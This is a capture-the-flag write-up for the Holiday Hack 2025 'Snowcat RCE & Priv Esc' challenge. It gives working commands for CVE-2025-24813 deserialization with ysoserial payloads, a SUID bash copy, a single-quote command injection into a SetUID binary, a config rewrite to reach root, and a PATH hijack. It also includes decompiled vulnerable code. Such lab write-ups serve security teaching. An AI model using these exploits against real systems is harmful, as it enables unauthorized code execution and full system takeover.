Holiday Hack 2025: Snowcat RCE & Priv Esc
Introduction
Snowcat RCE & Priv Esc
Difficulty:❅❅❅❅❅Tom is in the NetWars room in the back of the Hotel:
Tom Hessman
Hi, I’m Tom! I’ve worked for Counter Hack since its founding in 2010.
I love all things testing and QA, maintaining systems, logistics, and helping our customers have the best possible experience.
Outside of work, you’ll find me at my local community theater producing shows, helping with sound or video, or just hanging around.
Learn more about my background at TomHessman.com!
We’ve lost access to the neighborhood weather monitoring station.
There are a couple of vulnerabilities in the snowcat and weather monitoring services that we haven’t gotten around to fixing.
Can you help me exploit the vulnerabilities and retrieve the other application’s authorization key?
Enter the other application’s authorization key into the badge.
If Frosty’s plan works and everything freezes over, our customers won’t be having the best possible experience—they’ll be having the coldest possible experience! We need to stop this before the whole neighborhood becomes one giant freezer.
Chat with Tom Hessman
Congratulations! You spoke with Tom Hessman!
The Cranberry Pi opens a terminal:
Enumeration
Home Directory
The terminal offers several items in the user user’s home directory:
user@weather:~$ ls
CVE-2025-24813.py notes.md weather-jsps ysoserial.jar
CVE-2025-24813.pyis a exploit script for a remote code execution vulnerability via deserialization in Tomcat.ysoserial.jaris an open-source tool for creating payloads for attacking Java object deserialization. It creates serialized objects that, when deserialized, execute arbitrary commands using various “gadget chains” found in common Java libraries.weather-jspsis a set of three JavaServer Page webpages.notes.mdhas notes about the challenge.
The notes provide the following:
- SnowCat is a webserver “adapted to life in the arctic”, based on Apache Tomcat
- The server is likely vulnerable to CVE-2025-24813
- It talks about using
ysoserial.jarto generate payloads and shows how to send them usingcurl. - It offers hints about privilege escalation using C binaries.
Webserver
Live Server
Checking what’s listening shows a webserver on port 80:
user@weather:~$ netstat -tnlp
(No info could be read for "-p": geteuid()=2001 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN -
Curling localhost shows a login page for the “Neighborhood Weather Monitoring Station”. The response headers reveal the server is SnowCat 9.0.90:
user@weather:~$ curl -v localhost
* Trying 127.0.0.1:80...
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: localhost
> User-Agent: curl/7.81.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200
< Set-Cookie: JSESSIONID=11B074F3658184F5CD8122B952C1FCD1; Path=/; HttpOnly
< Content-Type: text/html;charset=UTF-8
< Content-Length: 1108
< Date: Thu, 01 Jan 2026 12:25:10 GMT
< Server: SnowCat 9.0.90
<
<html>
<head>
<title>Neighborhood Weather Monitoring Station</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="login-container">
<h1>Welcome to the Neighborhood Weather Monitoring Station</h1>
<form action="login.jsp" method="post" style="display: flex; flex-direction: column; gap: 10px; align-items: flex-start;">
<div style="display: flex; justify-content: space-between; width: 100%;">
<label for="username" style="flex: 1; text-align: left;">Username:</label>
<input type="text" id="username" name="username" required style="flex: 2; text-align: right;">
</div>
<div style="display: flex; justify-content: space-between; width: 100%;">
<label for="password" style="flex: 1; text-align: left;">Password:</label>
<input type="password" id="password" name="password" required style="flex: 2; text-align: right;">
</div>
<button type="submit" style="align-self: center;">Login</button>
</form>
</div>
<script src="snowflakes.js"></script>
</body>
</html>
* Connection #0 to host localhost left intact
The response also sets a JSESSIONID cookie, which is typical for Java servlet containers.
Source
The page above matches weather-jsps/index.jsp:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<html>
<head>
<title>Neighborhood Weather Monitoring Station</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="login-container">
<h1>Welcome to the Neighborhood Weather Monitoring Station</h1>
<form action="login.jsp" method="post" style="display: flex; flex-direction: column; gap: 10px; align-items: flex-start;">
<div style="display: flex; justify-content: space-between; width: 100%;">
<label for="username" style="flex: 1; text-align: left;">Username:</label>
<input type="text" id="username" name="username" required style="flex: 2; text-align: right;">
</div>
<div style="display: flex; justify-content: space-between; width: 100%;">
<label for="password" style="flex: 1; text-align: left;">Password:</label>
<input type="password" id="password" name="password" required style="flex: 2; text-align: right;">
</div>
<button type="submit" style="align-self: center;">Login</button>
</form>
</div>
<script src="snowflakes.js"></script>
</body>
</html>
Other than the header, this page is static.
login.jsp connects to a SQLite database and queries for a username and plaintext password:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.sql.*, java.io.*" %>
<%
String username = request.getParameter("username");
String password = request.getParameter("password");
boolean authenticated = false;
// Explicitly load the SQLite JDBC driver
Class.forName("org.sqlite.JDBC");
// Get the absolute path to the database file
String dbPath = getServletContext().getRealPath("/WEB-INF/classes/weather.db");
try (Connection conn = DriverManager.getConnection("jdbc:sqlite:" + dbPath)) {
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
if (rs.next()) {
authenticated = true;
String firstname = rs.getString("firstname");
String lastname = rs.getString("lastname");
// Create a session and store user details
//HttpSession session = request.getSession();
// Use the implicit session object
session.setAttribute("username", username);
session.setAttribute("firstname", firstname);
session.setAttribute("lastname", lastname);
session.setMaxInactiveInterval(2 * 60 * 60); // 2 hours
response.sendRedirect("dashboard.jsp");
return;
}
} catch (Exception e) {
e.printStackTrace();
}
// Authentication failed, redirect back to login page
response.sendRedirect("/?error=invalid");
%>
If there are matching results, it sets the session information and redirects to dashboard.jsp. Otherwise, it sends an error.
dashboard.jsp is a weather dashboard:
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.map.*" %>
<html>
<head>
<title>Neighborhood Weather Monitoring Station</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="dashboard-container">
<h1>Neighborhood Weather Monitoring Station</h1>
<p>Providing real-time Neighborhood weather monitoring since 2022.</p>
<%
if (session == null || session.getAttribute("username") == null) {
// No valid session, redirect to login page
response.sendRedirect("/");
return;
}
String username = (String) session.getAttribute("username");
String firstname = (String) session.getAttribute("firstname");
String lastname = (String) session.getAttribute("lastname");
out.println("<h2>Welcome, " + firstname + " " + lastname + "</h2>");
try {
String key = "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6";
Process tempProc = Runtime.getRuntime().exec("/usr/local/weather/temperature " + key);
Process humProc = Runtime.getRuntime().exec("/usr/local/weather/humidity " + key);
Process presProc = Runtime.getRuntime().exec("/usr/local/weather/pressure " + key);
BufferedReader tempReader = new BufferedReader(new InputStreamReader(tempProc.getInputStream()));
BufferedReader humReader = new BufferedReader(new InputStreamReader(humProc.getInputStream()));
BufferedReader presReader = new BufferedReader(new InputStreamReader(presProc.getInputStream()));
String tempLine = tempReader.readLine();
String humLine = humReader.readLine();
String presLine = presReader.readLine();
if (tempLine == null || humLine == null || presLine == null) {
out.println("<p>Error: Unable to retrieve weather data. Please try again later.</p>");
return;
}
float temperature = Float.parseFloat(tempLine);
float humidity = Float.parseFloat(humLine);
int pressure = Integer.parseInt(presLine); // Parse pressure as integer
// Define min and max values using Apache Commons Collections MultiValueMap
MultiValueMap ranges = new MultiValueMap();
ranges.put("temperature", 70.0f);
ranges.put("temperature", -50.0f);
ranges.put("humidity", 100.0f);
ranges.put("humidity", 0.0f);
ranges.put("pressure", 950);
ranges.put("pressure", 1050);
// Retrieve min and max values for normalization
float tempMin = (float) ranges.getCollection("temperature").toArray()[0];
float tempMax = (float) ranges.getCollection("temperature").toArray()[1];
float humMin = (float) ranges.getCollection("humidity").toArray()[0];
float humMax = (float) ranges.getCollection("humidity").toArray()[1];
int presMin = (int) ranges.getCollection("pressure").toArray()[0];
int presMax = (int) ranges.getCollection("pressure").toArray()[1];
// Normalize values using the ranges
float normalizedTemperature = (temperature - tempMin) / (float) (tempMax - tempMin);
float normalizedHumidity = (humidity - humMin) / (humMax - humMin);
float normalizedPressure = (pressure - presMin) / (float) (presMax - presMin);
// Adjust weights based on normalized values for Kansas December weather
float tempScore = temperature < 2.0f ? 1.0f : (temperature < 6.0f ? 0.5f : 0.0f);
float humScore = humidity > 70.0f ? 1.0f : (humidity > 50.0f ? 0.5f : 0.0f);
float presScore = pressure < 1015 ? 1.0f : (pressure < 1025 ? 0.5f : 0.0f);
float likelihood = tempScore * 50 + humScore * 30 + presScore * 20;
String likelihoodLevel = likelihood > 75 ? "High" : (likelihood > 50 ? "Medium" : "Low");
out.println("<p>Likelihood of snow: <strong>" + likelihoodLevel + "</strong></p>");
out.println("<p>Temperature: " + temperature + " °C</p>"); // Explicitly cast to integer
out.println("<p>Humidity: " + humidity + " %</p>");
out.println("<p>Pressure: " + (int) pressure + " hPa</p>"); // Explicitly cast to integer
} catch (Exception e) {
e.printStackTrace();
out.println("<p>Error: Unable to retrieve weather data. Please try again later.</p>");
}
%>
</div>
<script src="snowflakes.js"></script>
</body>
</html>
It makes sure that the user is logged in:
<%
if (session == null || session.getAttribute("username") == null) {
// No valid session, redirect to login page
response.sendRedirect("/");
return;
}
Then it uses a key to get readings from three binaries:
String key = "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6";
Process tempProc = Runtime.getRuntime().exec("/usr/local/weather/temperature " + key);
Process humProc = Runtime.getRuntime().exec("/usr/local/weather/humidity " + key);
Process presProc = Runtime.getRuntime().exec("/usr/local/weather/pressure " + key);
I’ll abuse these binaries to get a shell as weather.
Shell as snowcat [Optional]
CVE-2025-24813 Background
CVE-2025-24813 is a deserialization vulnerability in Apache Tomcat (and apparently SnowCat). The vulnerability allows an attacker to upload a malicious serialized Java object via a partial PUT request, then trigger its deserialization by requesting a session with that ID.
The exploit works in two steps:
- Upload a serialized payload to a session file using a PUT request with
Content-Rangeheader - Request the page with a
JSESSIONIDcookie pointing to the malicious session, triggering deserialization
Finding Working Gadgets
Different Java-based applications make use of different libraries, which will determine which gadget chains are available to exploit.
CommonsCollections is a very common gadget, and always a good starting place if I don’t know what libraries are in use. In this case, I can see that dashboard.jsp imports from it:
user@weather:~$ grep import weather-jsps/*
weather-jsps/dashboard.jsp:<%@ page import="java.io.*" %>
weather-jsps/dashboard.jsp:<%@ page import="org.apache.commons.collections.map.*" %>
weather-jsps/login.jsp:<%@ page import="java.sql.*, java.io.*" %>
I’ll test multiple CommonsCollections gadget chains to see which ones work. The command uses a Bash loop to create a payload for each gadget chain that will simply touch a file in /tmp named after the payload type:
user@weather:~$ for i in $(seq 1 7); do java -jar ysoserial.jar CommonsCollections${i} "touch /tmp/CommonsCollections${i}" | base64 -w0 > payload; python3 CVE-2025-24813.py --host localhost --port 80 --base64-payload $(cat payload) > /dev/null; done
user@weather:~$ ls -l /tmp/
total 12
-rw-r----- 1 snowcat snowcat 0 Nov 16 16:34 CommonsCollections5
-rw-r----- 1 snowcat snowcat 0 Nov 16 16:34 CommonsCollections6
-rw-r----- 1 snowcat snowcat 0 Nov 16 16:34 CommonsCollections7
drwxr-xr-x 2 root root 4096 Sep 13 06:28 hsperfdata_root
drwxr-x--- 2 snowcat snowcat 4096 Nov 16 16:34 hsperfdata_snowcat
drwxr-xr-x 2 user user 4096 Nov 16 16:34 hsperfdata_user
CommonsCollections5, 6, and 7 all work. The files are owned by snowcat, which tells me what user the SnowCat server runs as.
Getting a Shell
Java deserialization exploits typically don’t like pipes, redirects, and complex shell features. I’ll copy /bin/bash:
user@weather:~$ java -jar ysoserial.jar CommonsCollections6 "cp /bin/bash /tmp/0xdf" | base64 -w0 > payload
user@weather:~$ python3 CVE-2025-24813.py --host localhost --port 80 --base64-payload $(cat payload) > /dev/null
user@weather:~$ ls -l /tmp/0xdf
-rwxr-x--- 1 snowcat snowcat 1396520 Nov 16 16:39 /tmp/0xdf
Now I’ll exploit again to set the SetUID and SetGID bits:
user@weather:~$ java -jar ysoserial.jar CommonsCollections6 "chmod 6777 /tmp/0xdf" | base64 -w0 > payload
user@weather:~$ python3 CVE-2025-24813.py --host localhost --port 80 --base64-payload $(cat payload) > /dev/null
user@weather:~$ ls -l /tmp/0xdf
-rwsrwsrwx 1 snowcat snowcat 1396520 Nov 16 16:39 /tmp/0xdf
The s in the permissions shows SUID/SGID is set. Running it with -p (to preserve privileges) gives a shell with an effective UID/GID of snowcat:
user@weather:~$ /tmp/0xdf -p
0xdf-5.1$ id
uid=2001(user) gid=2000(user) euid=5000(snowcat) egid=5000(snowcat) groups=5000(snowcat),2000(user)
Shell as weather
Weather Binaries
As either user or snowcat, I’ll look more closely at the three binaries called by the dashboard:
snowcat-5.1$ ls -l /usr/local/weather/
total 80
-rw-r----- 1 weather snowcat 35 Sep 13 08:24 config
drwx------ 1 weather snowcat 4096 Sep 13 08:30 data
-rwsr-sr-x 1 root weather 16984 Sep 15 08:15 humidity
drwx------ 1 weather weather 4096 Sep 13 08:30 keys
-rwxr-x--- 1 root weather 357 Sep 13 08:24 logUsage
drwx------ 1 weather weather 4096 Sep 13 08:30 logs
-rwsr-sr-x 1 root weather 16984 Sep 15 08:15 pressure
-rwsr-sr-x 1 root weather 16992 Sep 15 08:15 temperature
The temperature, humidity, and pressure binaries are SetUID as root and SetGID as the weather user. They require a key argument:
snowcat-5.1$ ./temperature
Usage: ./temperature <key>
I’ve got the key from dashboard.jsp, and it works:
user@weather:/usr/local/weather$ ./temperature 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
4.41
user@weather:/usr/local/weather$ ./temperature 0xdf
Unauthorized. A valid key must be supplied
The only benefit I get from being snowcat is access to the config file, which has a username and groupname:
0xdf-5.1$ cat config
username=weather
groupname=weather
Command Injection
Strategy
The binary is taking the input key and using it to validate against a list of valid keys somewhere, like in a database or a file. There is a keys directory that seems like a reasonable place to be storing the valid keys. Running strings any of the three binaries shows that it does reference an authorized_keys file in that directory:
user@weather:/usr/local/weather$ strings temperature | grep key
/usr/local/weather/keys/authorized_keys
Failed to open authorized keys file
Usage: %s <key>
Unauthorized. A valid key must be supplied
is_key_authorized
The safe way to access a file would be opening it via a fopen call and reading it, but it could be using a system call to get the contents. The binary does make use of the system function:
user@weather:/usr/local/weather$ strings temperature | grep system
system
system@GLIBC_2.2.5
There’s also references to the logUsage executable in the current directory around the same place:
user@weather:/usr/local/weather$ strings temperature
...[snip]...
/usr/local/weather/data/temperature
%.2f
temperature
/usr/local/weather/logUsage
%s '%s' '%s'
/usr/local/weather/keys/authorized_keys
...[snip]...
That could be being called via system.
POC
Even without thinking all of this through, it’s very easy to check for command injection. Interestingly, the binary still works with my initial attempt:
user@weather:/usr/local/weather$ ./temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6; bash"
4.21
The key check must be doing something a bit weird. In the strings output above, there’s a format string “%s ‘%s’ ‘%s’”. Some of the args are wrapped in single quotes. I’ll try escaping those:
user@weather:/usr/local/weather$ ./temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6'; bash;"
4.16
sh: 1: Syntax error: Unterminated quoted string
This is very promising. There’s an error from sh that the single quotes aren’t matched up. That’s a good sign that my input is being passed to system. I could also find this checking for SQLi with a single quote.
I’ll balance them out:
user@weather:/usr/local/weather$ ./temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6'; bash; echo '"
4.11
bash: /home/user/.bashrc: Permission denied
weather@weather:/usr/local/weather$
The injection worked and I now have a shell as the weather user.
As weather, I can access the keys directory:
weather@weather:/usr/local/weather$ ls keys/
authorized_keys
weather@weather:/usr/local/weather$ cat keys/authorized_keys
4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
8ade723d-9968-45c9-9c33-7606c49c2201
There are two API keys. The first one is the one used by the weather station (from dashboard.jsp). The second one (8ade723d-9968-45c9-9c33-7606c49c2201) is the key that is not being used by SnowCat, which is the flag.
Shell as root
Understanding the Privilege Drop
It’s not required to get a shell as root to solve the challenge, but it’s very possible. Looking back at the SetUID binaries, they’re owned by root but when I exploited the command injection, I got a shell as weather, not root. This means the binary must be dropping privileges before running the shell command.
There’s a config file in /usr/local/weather/ that’s readable by the snowcat group and writable by the weather user:
weather@weather:/usr/local/weather$ ls -l config
-rw-r----- 1 weather snowcat 35 Sep 13 08:24 config
It seems very likely that the binary is reading this file:
weather@weather:/usr/local/weather$ strings temperature | grep config
/usr/local/weather/config
Failed to open config file
Invalid config file format
Invalid username or groupname in config file
The setuid and setgid functions are used in this binary as well:
weather@weather:/usr/local/weather$ strings temperature | grep set.id
setuid
setgid
setgid@GLIBC_2.2.5
setuid@GLIBC_2.2.5
The config file tells the SetUID binary what user/group to drop privileges to before executing commands. The binary starts as root (due to SetUID), reads this config, then calls setuid()/setgid() to become the specified user before running the command.
Exploiting the Config
As the weather user, I can write to this file:
weather@weather:/usr/local/weather$ echo -e "username=root\ngroupname=root" > config
weather@weather:/usr/local/weather$ cat config
username=root
groupname=root
Now when the binary runs, it will read the config, try to drop to root/root (which is a no-op since it’s already root), and then execute my injected command as root:
weather@weather:/usr/local/weather$ ./temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6'; bash; echo '"
-0.50
root@weather:/usr/local/weather# id
uid=0(root) gid=0(root) groups=0(root)
Extra: Reverse Engineering
It’s not required to reverse engineer any of the three weather binaries, but it’s fun to take a look.
Exfil
The three binaries are world readable, so as any user I can collect them and take a deeper look. I’ll look at the temperature binary in this section, but all three are very similar.
I’ll use base64 -w0 temperature to encode the temperature binary so that I can copy the output, decode it on my machine and have a copy of the binary.
It is a standard C Linux ELF binary:
oxdf@hacky$ file temperature
temperature: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=10c631b2c8b30664ed6d6f13de5d1b77abea47c3, for GNU/Linux 3.2.0, not stripped
main
Opening the binary in Ghidra, the main function is straight forward:
int main(int argc,undefined8 *argv)
{
int status;
time_t current_time;
FILE *temp_file;
long in_FS_OFFSET;
char temperature_buffer [24];
long stack_canary;
char *key;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
status = set_effective_ids();
if (status == 0) {
if (argc == 2) {
key = (char *)argv[1];
status = is_key_authorized(key);
if (status == 0) {
fwrite("Unauthorized. A valid key must be supplied\n",1,0x2b,stderr);
status = 1;
}
else {
current_time = time((time_t *)0x0);
srand((uint)current_time);
read_temperature_sensor(temperature_buffer,0x10);
temp_file = fopen("/usr/local/weather/data/temperature","w");
if (temp_file == (FILE *)0x0) {
perror("Error opening data file");
status = 1;
}
else {
fprintf(temp_file,"%s\n",temperature_buffer);
fclose(temp_file);
puts(temperature_buffer);
log_usage(key);
status = 0;
}
}
}
else {
fprintf(stderr,"Usage: %s <key>\n",*argv);
status = 1;
}
}
else {
status = 1;
}
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return status;
}
This function:
- calls
set_effective_ids, and if the return is non-zero it sets the return value to 1 and returns. - checks that the number of given args is two (by convention that includes
argv[0]which is the binary name), and if not, prints the usage and returns 1. - calls
is_key_authorized, and if the return is non-zero, prints an error and returns 1. - gets the current time, calls
read_temperature_sensor, writes the result to a file indataand prints it. - calls
log_usage(key).
set_effective_ids
set_effective_ids does just what I suspected:
undefined8 set_effective_ids(void)
{
int result;
FILE *config_file;
undefined8 return_value;
passwd *passwd_entry;
group *group_entry;
long in_FS_OFFSET;
char username [64];
char groupname [72];
long stack_canary;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
config_file = fopen("/usr/local/weather/config","r");
if (config_file == (FILE *)0x0) {
perror("Failed to open config file");
return_value = 0xffffffff;
}
else {
result = __isoc99_fscanf(config_file,"username=%63s\ngroupname=%63s",username,groupname);
if (result == 2) {
fclose(config_file);
passwd_entry = getpwnam(username);
group_entry = getgrnam(groupname);
if ((passwd_entry == (passwd *)0x0) || (group_entry == (group *)0x0)) {
fwrite("Invalid username or groupname in config file\n",1,0x2d,stderr);
return_value = 0xffffffff;
}
else {
result = setgid(group_entry->gr_gid);
if (result == 0) {
result = setuid(passwd_entry->pw_uid);
if (result == 0) {
return_value = 0;
goto LAB_0010152c;
}
}
perror("Failed to set effective user and group IDs");
return_value = 0xffffffff;
}
}
else {
fwrite("Invalid config file format\n",1,0x1b,stderr);
fclose(config_file);
return_value = 0xffffffff;
}
}
LAB_0010152c:
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return return_value;
}
It reads values from the config file and then parses them into a username and groupname. It uses the getpwnam and getgrnam functions to validate that the user and group are valid on the system. Then it calls setuid and setgid to change to that user and group.
is_key_authorized
is_key_authorized reads from the keys/authorized_keys file:
undefined8 is_key_authorized(char *input_key)
{
FILE *keys_file;
undefined8 is_authorized;
size_t newline_pos;
char *match;
long in_FS_OFFSET;
char key_buffer [264];
long stack_canary;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
keys_file = fopen("/usr/local/weather/keys/authorized_keys","r");
if (keys_file == (FILE *)0x0) {
perror("Failed to open authorized keys file");
is_authorized = 0;
}
else {
do {
match = fgets(key_buffer,0x100,keys_file);
if (match == (char *)0x0) {
fclose(keys_file);
is_authorized = 0;
goto LAB_0010185d;
}
newline_pos = strcspn(key_buffer,"\n");
key_buffer[newline_pos] = '\0';
match = strstr(input_key,key_buffer);
} while (match == (char *)0x0);
fclose(keys_file);
is_authorized = 1;
}
LAB_0010185d:
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return is_authorized;
}
It checks that the given key is in the file, and returns the result.
log_usage
log_usage is where the vulnerability happens:
void log_usage(undefined8 key)
{
long in_FS_OFFSET;
char command_buffer [264];
long stack_canary;
stack_canary = *(long *)(in_FS_OFFSET + 0x28);
snprintf(command_buffer,0x100,"%s \'%s\' \'%s\'","/usr/local/weather/logUsage","temperature",key);
system(command_buffer);
if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
It creates a string using the user input, and passes it to system without any validation or sanitation.
Extra: Alternative Path Injection Exploit
logUsage Script
The command injection is made when the binary tries to call logUsage. That file is readable by root and weather, and it’s a simple Bash script:
#!/bin/bash
LOG_DIR="/usr/local/weather/logs"
DATE=$(date '+%Y-%m-%d')
LOG_FILE="$LOG_DIR/$DATE.log"
# Ensure the logs directory exists
mkdir -p "$LOG_DIR"
# Log the key (vulnerable to command injection)
#eval "echo $(date '+%Y-%m-%d %H:%M:%S') - Function: $1 Key: $2 >> $LOG_FILE"
echo $(date '+%Y-%m-%d %H:%M:%S') - Function: $1 Key: $2 >> $LOG_FILE
It gets the current date / time using date and writes a log entry with the date and key to the logs directory.
Path Hijack
The date command is called twice without a full path, just like in Neighborhood Watch Bypass. As any user, I can update my path to include a writable directory:
user@weather:/usr/local/weather$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
user@weather:/usr/local/weather$ export PATH="/tmp:$PATH"
user@weather:/usr/local/weather$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Now I’ll create an evil date in /tmp:
user@weather:/usr/local/weather$ cat /tmp/date
#!/bin/bash
echo "Running evil date"
touch /tmp/from_evil_date
I’ll make sure it’s executable:
user@weather:/usr/local/weather$ chmod +x /tmp/date
Now running the binary shows an error message:
user@weather:/usr/local/weather$ ./temperature 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
3.76
/usr/local/weather/logUsage: line 12: $LOG_FILE: ambiguous redirect
That’s because my date command didn’t give the expected output. My POC did create a file:
user@weather:/usr/local/weather$ ls -l /tmp/from_evil_date
-rw-r--r-- 1 root root 0 Jan 1 13:46 /tmp/from_evil_date
It’s owned by root/root, which is what is currently in the config file.
This attack would be very difficult to pull off without access to see what’s in logUsage, but if I had some way to know that date was being called (reasonable guess?), I could take this path from the beginning.
Outro
Snowcat RCE & Priv Esc
Congratulations! You have completed the Snowcat RCE & Priv Esc challenge!
Tom is pleased:
Tom Hessman
Fantastic work! You’ve successfully exploited those vulnerabilities and retrieved the authorization key from the weather monitoring system.
Thanks for helping me get access back - our customers are going to have a much better experience now that we’ve got the weather station running again!